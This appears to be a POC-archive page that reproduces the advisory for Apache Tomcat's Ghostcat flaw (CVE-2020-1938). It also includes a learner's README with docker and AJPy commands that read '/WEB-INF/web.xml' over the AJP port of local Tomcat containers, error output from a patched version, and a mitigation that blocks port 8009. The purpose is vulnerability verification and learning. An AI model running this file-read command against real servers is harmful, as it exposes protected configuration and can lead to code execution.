Associated Vulnerability
Title:Apache Tomcat 安全漏洞 (CVE-2020-1938)Description:When using the Apache JServ Protocol (AJP), care must be taken when trusting incoming connections to Apache Tomcat. Tomcat treats AJP connections as having higher trust than, for example, a similar HTTP connection. If such connections are available to an attacker, they can be exploited in ways that may be surprising. In Apache Tomcat 9.0.0.M1 to 9.0.0.30, 8.5.0 to 8.5.50 and 7.0.0 to 7.0.99, Tomcat shipped with an AJP Connector enabled by default that listened on all configured IP addresses. It was expected (and recommended in the security guide) that this Connector would be disabled if not required. This vulnerability report identified a mechanism that allowed: - returning arbitrary files from anywhere in the web application - processing any file in the web application as a JSP Further, if the web application allowed file upload and stored those files within the web application (or the attacker was able to control the content of the web application by some other means) then this, along with the ability to process a file as a JSP, made remote code execution possible. It is important to note that mitigation is only required if an AJP port is accessible to untrusted users. Users wishing to take a defence-in-depth approach and block the vector that permits returning arbitrary files and execution as JSP may upgrade to Apache Tomcat 9.0.31, 8.5.51 or 7.0.100 or later. A number of changes were made to the default AJP Connector configuration in 9.0.31 to harden the default configuration. It is likely that users upgrading to 9.0.31, 8.5.51 or 7.0.100 or later will need to make small changes to their configurations.
Description
Learnings on how to verify if vulnerable to Ghostcat (aka CVE-2020-1938)
Readme
# Ghostcat verification (CVE-2020-1938)
## Summary
A new exploit called Ghostcat has been found [CVE-2020-1938], see the articles on [snyk] and [tenable] for details and analysis of the exploit itself.
In my case, I wanted to verify which Tomcat servers are exploitable and if so how does it manifest itself. So this experiment is to check Tomcat 7, 8 and 9.
## Prerequsites
- docker
- python
- git
## Reading file using CVE-2020-1938 on Tomcat 7
>TODO: How to verify a Tomcat 7 is vulnerable?
## Reading file using CVE-2020-1938 on Tomcat 8
Rather than testing exploits on live servers, I am using existing builds of Tomcat to perform my experiment using [AJPy] which crafts AJP requests in order to communicate with AJP connectors.
```bash
git clone --recurse-submodules git@github.com:shaunmclernon/ghostcat-verification.git
cd ghostcat-verification/AJPy
docker run --name tomcat --rm -d -p 8080:8080 -p 8009:8009 tomcat:8.5.32
python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 127.0.0.1
docker stop tomcat
```
If it returns the web.xml then this version of Tomcat is vulnerable to the exploit.
If we try the same test using the latest version of Tomcat 8.5 we can see it is not vulnerable to this particular error.
```bash
docker run --name tomcat --rm -d -p 8080:8080 -p 8009:8009 tomcat:8.5
python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 127.0.0.1
docker stop tomcat
```
In this case, we should get a python error, which actually means the server is not vulnerable;
```bash
Traceback (most recent call last):
File "tomcat.py", line 377, in <module>
hdrs, data = bf.perform_request("/" + args.webapp + "/xxxxx.jsp", attributes=attributes)
...
...
struct.error: unpack requires a buffer of 5 bytes
```
## Reading file using CVE-2020-1938 on Tomcat 9
>TODO: How to verify a Tomcat 9 is vulnerable?
## Springboot
>TODO: How to verify a springboot service is vulnerable?
### Mitigation
Obviously if vulnerable (regardless of the version), you should consider upgrading the to the patched versions. One other option is block access to the AJP port.
Start the same Tomcat version but do not expose the AJP port 8009.
```bash
docker run --name tomcat --rm -d -p 8080:8080 tomcat:8.5.32
python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 127.0.0.1
docker stop tomcat
```
In this case, we can see that it will fail to exploit the server.
## Disclaimer
I am not a security professional and this repo was built for my learning purposes, it is not intended to be used for malicious purposes.
[CVE-2020-1938]: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-1938
[snyk]: https://snyk.io/blog/ghostcat-breach-affects-all-tomcat-versions/
[tenable]: https://www.tenable.com/blog/cve-2020-1938-ghostcat-apache-tomcat-ajp-file-readinclusion-vulnerability-cnvd-2020-10487
[AJPy]: https://github.com/hypn0s/AJPy
File Snapshot
[4.0K] /data/pocs/62ff185deccce0cc75a03f992137e2ea511da21a
├── [4.0K] AJPy
└── [2.8K] README.md
1 directory, 1 file
Remarks
1. It is advised to access via the original source first.
2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →